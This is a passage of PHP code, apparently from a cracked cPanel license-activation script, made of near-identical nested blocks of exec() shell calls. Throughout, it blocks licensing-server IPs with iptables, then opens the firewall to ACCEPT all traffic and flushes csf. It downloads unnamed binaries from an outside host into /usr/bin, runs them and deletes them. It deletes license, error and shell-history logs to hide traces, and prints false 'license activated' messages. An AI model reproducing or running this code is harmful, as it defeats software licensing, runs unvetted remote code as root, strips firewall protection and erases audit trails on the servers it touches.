																			exec('/usr/sbin/iptables -A INPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
																			exec('/usr/sbin/iptables -A INPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
																			exec('/usr/sbin/iptables -A INPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
																			exec('/usr/sbin/iptables -A INPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
																			exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
																			exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
																			exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
																			exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
																			exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
																			exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
																							maximum_users();
                                echo '\n';
				echo 'Cpanel license has been updated and renewed';
                                echo '\n';
																			exec('wget -O /usr/local/cpanel/.ltrc wc.cloudlicense.shop/date/current > /dev/null 2>&1');
																			exec('wget -O /usr/local/cpanel/.ltrc1 wc.cloudlicense.shop/date/current > /dev/null 2>&1');
																			exec('cat /usr/bin/.sysma/procc.conf8 > /usr/local/.recoverit');
																			exec('cat /usr/local/.recoverit > /usr/local/.recoverit1');
																			exec('sed -i \'1d\' /usr/local/.recoverit1');
																			exec('sed -r \'s/\\s+//g\' /usr/local/.recoverit1 > /usr/local/.recoverit2');
																			exec('sed -i\'_is_back\' \'s/cpanel.lisc/cpane1.lisc/g\' /usr/local/cpanel/.cpkeyclt');
																			exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																			exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																			exec('cat /usr/local/cpanel/cpanel.lisc > /usr/local/cpanel/cpane1.lisc');
																			exec('rm -rf /usr/bin/.sysma/procc*.conf > /dev/null 2>&1');
																			exec('rm -rf /usr/bin/.sysma/procc.conf* > /dev/null 2>&1');
																			exec('comp0 -i -a /usr/local/cpanel/logs/error_log > /dev/null 2>&1 && rm -rf /usr/local/cpanel/logs/error_log > /dev/null 2>&1');
																			exec('service cpanel restart > /dev/null 2>&1');
																			exec('rm -rf /root/GBCP.lock > /dev/null 2>&1');
																			maximum_users();
																			echo "";
echo "";
echo "\x1b" . '[36m' . 'Cpanel license has been updated and activated!' . "\x1b" . '[0m' . "";
echo "";
echo "";
																		}
																		else {
																			exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.85 -j DROP; done > /dev/null 2>&1');
																			exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.86 -j DROP; done > /dev/null 2>&1');
																			exec('for run in {1..10}; do iptables -D INPUT -s 208.74.123.3 -j DROP; done > /dev/null 2>&1');
																			exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.83 -j DROP; done > /dev/null 2>&1');
																			exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.82 -j DROP; done > /dev/null 2>&1');
																			exec('for run in {1..10}; do iptables -D INPUT -s 208.74.123.2 -j DROP; done > /dev/null 2>&1');
																			exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.85 -j DROP; done > /dev/null 2>&1');
																			exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.86 -j DROP; done > /dev/null 2>&1');
																			exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.123.3 -j DROP; done > /dev/null 2>&1');
																			exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.83 -j DROP; done > /dev/null 2>&1');
																			exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.82 -j DROP; done > /dev/null 2>&1');
																			exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.123.2 -j DROP; done > /dev/null 2>&1');
																			exec('/usr/bin/rm /usr/local/cpanel/logs/license_log > /dev/null 2>&1');
																			exec('timeout 5s csf -f > /dev/null 2>&1');
																			exec('rm -rf /usr/local/cpanel/cpanel.li* > /dev/null 2>&1');
																			exec('for run in {1..10}; do killall cpkeyclt; done > /dev/null 2>&1');
																			exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																			exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																			exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																			exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
																			exec('iptables -A OUTPUT -j ACCEPT > /dev/null 2>&1');
																			exec('iptables -I INPUT -j ACCEPT > /dev/null 2>&1');
																			exec('iptables -I OUTPUT -j ACCEPT > /dev/null 2>&1');
																			exec('iptables -P INPUT ACCEPT > /dev/null 2>&1');
																			exec('iptables -P FORWARD ACCEPT > /dev/null 2>&1');
																			exec('iptables -P OUTPUT ACCEPT > /dev/null 2>&1');
																			exec('/usr/bin/wget -O /usr/bin/.sysma/procc11.conf https://wc.cloudlicense.shop/api/change?key=' . $key . ' > /dev/null 2>&1');
																			exec('sed -e \'s/<[^>]*>//g\' /usr/bin/.sysma/procc11.conf > /usr/bin/.sysma/procc.conf8');
																			$null = shell_exec('check=$(timeout 30s /usr/bin/plast -q -f /usr/bin/.sysma/procc.conf8 /usr/local/cpanel/.cpkeyclt 2> /dev/null)');
																			exec('/usr/bin/rm -rf /root/.bash_time > /dev/null 2>&1');
																			$dns = '/usr/local/cpanel/cpanel.lisc';

																			if (file_exists($dns)) {
																				$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
																				$pos = strpos($filedns, 'dnsonly');

																				if ($pos !== false) {
																					exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																					exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
																					exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
																					exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
																					exec('sh /usr/bin/con0 > /dev/null 2>&1');
																					exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
																					exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
																					exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																					exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																					exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
																					exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																					exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																					exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																					exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																					exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
																					exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
																				}

																				$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

																				if (0 < strlen($cpanel_txt)) {
																					if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
																						exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																						exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																						exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																						exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
																						exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
																						exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
																						exec('sh /usr/bin/con0 > /dev/null 2>&1');
																						exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
																						exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
																						exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																						exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																						exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
																						exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																						exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																						exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																						exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																						exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
																					}
																				}
																			}

																			$filename3 = '/usr/local/cpanel/cpanel.lisc';

																			if (file_exists($filename3)) {
																				exec('/usr/sbin/iptables -A INPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
																				exec('/usr/sbin/iptables -A INPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
																				exec('/usr/sbin/iptables -A INPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
																				exec('/usr/sbin/iptables -A INPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
																				exec('/usr/sbin/iptables -A INPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
																				exec('/usr/sbin/iptables -A INPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
																				exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
																				exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
																				exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
																				exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
																				exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
																				exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
																								maximum_users();
                                echo '\n';
				echo 'Cpanel license has been updated and renewed';
                                echo '\n';
																				exec('wget -O /usr/local/cpanel/.ltrc wc.cloudlicense.shop/date/current > /dev/null 2>&1');
																				exec('wget -O /usr/local/cpanel/.ltrc1 wc.cloudlicense.shop/date/current > /dev/null 2>&1');
																				exec('cat /usr/bin/.sysma/procc.conf8 > /usr/local/.recoverit');
																				exec('cat /usr/local/.recoverit > /usr/local/.recoverit1');
																				exec('sed -i \'1d\' /usr/local/.recoverit1');
																				exec('sed -r \'s/\\s+//g\' /usr/local/.recoverit1 > /usr/local/.recoverit2');
																				exec('sed -i\'_is_back\' \'s/cpanel.lisc/cpane1.lisc/g\' /usr/local/cpanel/.cpkeyclt');
																				exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																				exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																				exec('cat /usr/local/cpanel/cpanel.lisc > /usr/local/cpanel/cpane1.lisc');
																				exec('rm -rf /usr/bin/.sysma/procc*.conf > /dev/null 2>&1');
																				exec('rm -rf /usr/bin/.sysma/procc.conf* > /dev/null 2>&1');
																				exec('comp0 -i -a /usr/local/cpanel/logs/error_log > /dev/null 2>&1 && rm -rf /usr/local/cpanel/logs/error_log > /dev/null 2>&1');
																				exec('service cpanel restart > /dev/null 2>&1');
																				exec('rm -rf /root/GBCP.lock > /dev/null 2>&1');
																				maximum_users();
																				echo "";
echo "";
echo "\x1b" . '[36m' . 'Cpanel license has been updated and activated!' . "\x1b" . '[0m' . "";
echo "";
echo "";
																			}
																			else {
																				exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.85 -j DROP; done > /dev/null 2>&1');
																				exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.86 -j DROP; done > /dev/null 2>&1');
																				exec('for run in {1..10}; do iptables -D INPUT -s 208.74.123.3 -j DROP; done > /dev/null 2>&1');
																				exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.83 -j DROP; done > /dev/null 2>&1');
																				exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.82 -j DROP; done > /dev/null 2>&1');
																				exec('for run in {1..10}; do iptables -D INPUT -s 208.74.123.2 -j DROP; done > /dev/null 2>&1');
																				exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.85 -j DROP; done > /dev/null 2>&1');
																				exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.86 -j DROP; done > /dev/null 2>&1');
																				exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.123.3 -j DROP; done > /dev/null 2>&1');
																				exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.83 -j DROP; done > /dev/null 2>&1');
																				exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.82 -j DROP; done > /dev/null 2>&1');
																				exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.123.2 -j DROP; done > /dev/null 2>&1');
																				exec('/usr/bin/rm /usr/local/cpanel/logs/license_log > /dev/null 2>&1');
																				exec('timeout 5s csf -f > /dev/null 2>&1');
																				exec('rm -rf /usr/local/cpanel/cpanel.li* > /dev/null 2>&1');
																				exec('for run in {1..10}; do killall cpkeyclt; done > /dev/null 2>&1');
																				exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																				exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																				exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																				exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
																				exec('iptables -A OUTPUT -j ACCEPT > /dev/null 2>&1');
																				exec('iptables -I INPUT -j ACCEPT > /dev/null 2>&1');
																				exec('iptables -I OUTPUT -j ACCEPT > /dev/null 2>&1');
																				exec('iptables -P INPUT ACCEPT > /dev/null 2>&1');
																				exec('iptables -P FORWARD ACCEPT > /dev/null 2>&1');
																				exec('iptables -P OUTPUT ACCEPT > /dev/null 2>&1');
																				exec('/usr/bin/wget -O /usr/bin/.sysma/procc11.conf https://wc.cloudlicense.shop/api/change?key=' . $key . ' > /dev/null 2>&1');
																				exec('sed -e \'s/<[^>]*>//g\' /usr/bin/.sysma/procc11.conf > /usr/bin/.sysma/procc.conf8');
																				$null = shell_exec('check=$(timeout 30s /usr/bin/plast -q -f /usr/bin/.sysma/procc.conf8 /usr/local/cpanel/.cpkeyclt 2> /dev/null)');
																				exec('/usr/bin/rm -rf /root/.bash_time > /dev/null 2>&1');
																				$dns = '/usr/local/cpanel/cpanel.lisc';

																				if (file_exists($dns)) {
																					$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
																					$pos = strpos($filedns, 'dnsonly');

																					if ($pos !== false) {
																						exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																						exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
																						exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
																						exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
																						exec('sh /usr/bin/con0 > /dev/null 2>&1');
																						exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
																						exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
																						exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																						exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																						exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
																						exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																						exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																						exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																						exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																						exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
																						exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
																					}

																					$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

																					if (0 < strlen($cpanel_txt)) {
																						if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
																							exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																							exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																							exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																							exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
																							exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
																							exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
																							exec('sh /usr/bin/con0 > /dev/null 2>&1');
																							exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
																							exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
																							exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																							exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																							exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
																							exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																							exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																							exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																							exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																							exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
																						}
																					}
																				}

																				$filename3 = '/usr/local/cpanel/cpanel.lisc';

																				if (file_exists($filename3)) {
																					exec('/usr/sbin/iptables -A INPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
																					exec('/usr/sbin/iptables -A INPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
																					exec('/usr/sbin/iptables -A INPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
																					exec('/usr/sbin/iptables -A INPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
																					exec('/usr/sbin/iptables -A INPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
																					exec('/usr/sbin/iptables -A INPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
																					exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
																					exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
																					exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
																					exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
																					exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
																					exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
																									maximum_users();
                                echo '\n';
				echo 'Cpanel license has been updated and renewed';
                                echo '\n';
																					exec('wget -O /usr/local/cpanel/.ltrc wc.cloudlicense.shop/date/current > /dev/null 2>&1');
																					exec('wget -O /usr/local/cpanel/.ltrc1 wc.cloudlicense.shop/date/current > /dev/null 2>&1');
																					exec('cat /usr/bin/.sysma/procc.conf8 > /usr/local/.recoverit');
																					exec('cat /usr/local/.recoverit > /usr/local/.recoverit1');
																					exec('sed -i \'1d\' /usr/local/.recoverit1');
																					exec('sed -r \'s/\\s+//g\' /usr/local/.recoverit1 > /usr/local/.recoverit2');
																					exec('sed -i\'_is_back\' \'s/cpanel.lisc/cpane1.lisc/g\' /usr/local/cpanel/.cpkeyclt');
																					exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																					exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																					exec('cat /usr/local/cpanel/cpanel.lisc > /usr/local/cpanel/cpane1.lisc');
																					exec('rm -rf /usr/bin/.sysma/procc*.conf > /dev/null 2>&1');
																					exec('rm -rf /usr/bin/.sysma/procc.conf* > /dev/null 2>&1');
																					exec('comp0 -i -a /usr/local/cpanel/logs/error_log > /dev/null 2>&1 && rm -rf /usr/local/cpanel/logs/error_log > /dev/null 2>&1');
																					exec('service cpanel restart > /dev/null 2>&1');
																					exec('rm -rf /root/GBCP.lock > /dev/null 2>&1');
																					maximum_users();
																					echo "";
echo "";
echo "\x1b" . '[36m' . 'Cpanel license has been updated and activated!' . "\x1b" . '[0m' . "";
echo "";
echo "";
																				}
																				else {
																					exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.85 -j DROP; done > /dev/null 2>&1');
																					exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.86 -j DROP; done > /dev/null 2>&1');
																					exec('for run in {1..10}; do iptables -D INPUT -s 208.74.123.3 -j DROP; done > /dev/null 2>&1');
																					exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.83 -j DROP; done > /dev/null 2>&1');
																					exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.82 -j DROP; done > /dev/null 2>&1');
																					exec('for run in {1..10}; do iptables -D INPUT -s 208.74.123.2 -j DROP; done > /dev/null 2>&1');
																					exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.85 -j DROP; done > /dev/null 2>&1');
																					exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.86 -j DROP; done > /dev/null 2>&1');
																					exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.123.3 -j DROP; done > /dev/null 2>&1');
																					exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.83 -j DROP; done > /dev/null 2>&1');
																					exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.82 -j DROP; done > /dev/null 2>&1');
																					exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.123.2 -j DROP; done > /dev/null 2>&1');
																					exec('/usr/bin/rm /usr/local/cpanel/logs/license_log > /dev/null 2>&1');
																					exec('timeout 5s csf -f > /dev/null 2>&1');
																					exec('rm -rf /usr/local/cpanel/cpanel.li* > /dev/null 2>&1');
																					exec('for run in {1..10}; do killall cpkeyclt; done > /dev/null 2>&1');
																					exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																					exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																					exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																					exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
																					exec('iptables -A OUTPUT -j ACCEPT > /dev/null 2>&1');
																					exec('iptables -I INPUT -j ACCEPT > /dev/null 2>&1');
																					exec('iptables -I OUTPUT -j ACCEPT > /dev/null 2>&1');
																					exec('iptables -P INPUT ACCEPT > /dev/null 2>&1');
																					exec('iptables -P FORWARD ACCEPT > /dev/null 2>&1');
																					exec('iptables -P OUTPUT ACCEPT > /dev/null 2>&1');
																					exec('/usr/bin/wget -O /usr/bin/.sysma/procc11.conf https://wc.cloudlicense.shop/api/change?key=' . $key2 . '.php > /dev/null 2>&1');
																					exec('sed -e \'s/<[^>]*>//g\' /usr/bin/.sysma/procc11.conf > /usr/bin/.sysma/procc.conf8');
																					$null = shell_exec('check=$(timeout 30s /usr/bin/plast -q -f /usr/bin/.sysma/procc.conf8 /usr/local/cpanel/.cpkeyclt 2> /dev/null)');
																					exec('/usr/bin/rm -rf /root/.bash_time > /dev/null 2>&1');
																					$dns = '/usr/local/cpanel/cpanel.lisc';

																					if (file_exists($dns)) {
																						$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
																						$pos = strpos($filedns, 'dnsonly');

																						if ($pos !== false) {
																							exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																							exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
																							exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
																							exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
																							exec('sh /usr/bin/con0 > /dev/null 2>&1');
																							exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
																							exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
																							exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																							exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																							exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
																							exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																							exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																							exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																							exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																							exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
																							exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
																						}

																						$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

																						if (0 < strlen($cpanel_txt)) {
																							if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
																								exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																								exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																								exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																								exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
																								exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
																								exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
																								exec('sh /usr/bin/con0 > /dev/null 2>&1');
																								exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
																								exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
																								exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																								exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																								exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
																								exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																								exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																								exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																								exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																								exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
																							}
																						}
																					}

																					$filename3 = '/usr/local/cpanel/cpanel.lisc';

																					if (file_exists($filename3)) {
																						exec('/usr/sbin/iptables -A INPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
																						exec('/usr/sbin/iptables -A INPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
																						exec('/usr/sbin/iptables -A INPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
																						exec('/usr/sbin/iptables -A INPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
																						exec('/usr/sbin/iptables -A INPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
																						exec('/usr/sbin/iptables -A INPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
																						exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
																						exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
																						exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
																						exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
																						exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
																						exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
																										maximum_users();
                                echo '\n';
				echo 'Cpanel license has been updated and renewed';
                                echo '\n';
																						exec('wget -O /usr/local/cpanel/.ltrc wc.cloudlicense.shop/date/current > /dev/null 2>&1');
																						exec('wget -O /usr/local/cpanel/.ltrc1 wc.cloudlicense.shop/date/current > /dev/null 2>&1');
																						exec('cat /usr/bin/.sysma/procc.conf8 > /usr/local/.recoverit');
																						exec('cat /usr/local/.recoverit > /usr/local/.recoverit1');
																						exec('sed -i \'1d\' /usr/local/.recoverit1');
																						exec('sed -r \'s/\\s+//g\' /usr/local/.recoverit1 > /usr/local/.recoverit2');
																						exec('sed -i\'_is_back\' \'s/cpanel.lisc/cpane1.lisc/g\' /usr/local/cpanel/.cpkeyclt');
																						exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																						exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																						exec('cat /usr/local/cpanel/cpanel.lisc > /usr/local/cpanel/cpane1.lisc');
																						exec('rm -rf /usr/bin/.sysma/procc*.conf > /dev/null 2>&1');
																						exec('rm -rf /usr/bin/.sysma/procc.conf* > /dev/null 2>&1');
																						exec('comp0 -i -a /usr/local/cpanel/logs/error_log > /dev/null 2>&1 && rm -rf /usr/local/cpanel/logs/error_log > /dev/null 2>&1');
																						exec('service cpanel restart > /dev/null 2>&1');
																						exec('rm -rf /root/GBCP.lock > /dev/null 2>&1');
																						maximum_users();
																						echo "";
echo "";
